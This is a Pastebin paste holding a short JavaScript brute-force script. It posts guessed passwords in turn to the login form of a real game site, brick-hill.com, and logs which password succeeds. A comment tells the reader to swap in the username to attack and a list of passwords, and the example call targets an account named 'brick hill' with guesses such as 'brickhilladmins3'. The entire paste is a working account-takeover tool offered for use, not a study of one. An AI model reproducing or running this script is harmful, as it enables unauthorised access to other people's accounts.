Advertisement
Guest User

Untitled

a guest
May 31st, 2017
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.73 KB | None | 0 0
  1. function Bruteforce(user, arr) {
  2. this.success = false;
  3. this.index = 0;
  4.  
  5. this.start = function() {
  6. console.log(`%cAttempting to bruteforce ${user}`, 'color: green');
  7. bruteforce.force();
  8. }
  9.  
  10. this.force = function() {
  11. if (!bruteforce.success) {
  12. $.post('https://www.brick-hill.com/login/', {username: user, password: arr[bruteforce.index], ln: "Login"}).done(function(data) {
  13. if ($('#welcome', data).length) {
  14. console.log(`%cSuccessfully bruteforced ${user} with the password ${arr[bruteforce.index]}`, 'color: green');
  15. bruteforce.success = true;
  16. } else {
  17. if (bruteforce.index == arr.length - 1) {
  18. console.log(`%c${arr[bruteforce.index]} failed, bruteforce failed.`, 'color: red');
  19. } else {
  20. console.log(`%c${arr[bruteforce.index]} failed, trying again.`, 'color: red');
  21. }
  22. }
  23.  
  24. if (arr.length > (bruteforce.index + 1)) {
  25. bruteforce.index++;
  26. bruteforce.force();
  27. } else {
  28. console.log(`%cBruteforce finished`, 'color: green');
  29. }
  30. });
  31. }
  32. }
  33. }
  34.  
  35. var bruteforce = new Bruteforce('brick hill', ["testing", "password123", "lololol", "brickhilladmins3"]); // Change the first argument to the user u want to bruteforce, second argument is an array of passwords to try
  36. bruteforce.start(); // Initializing the bruteforce
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement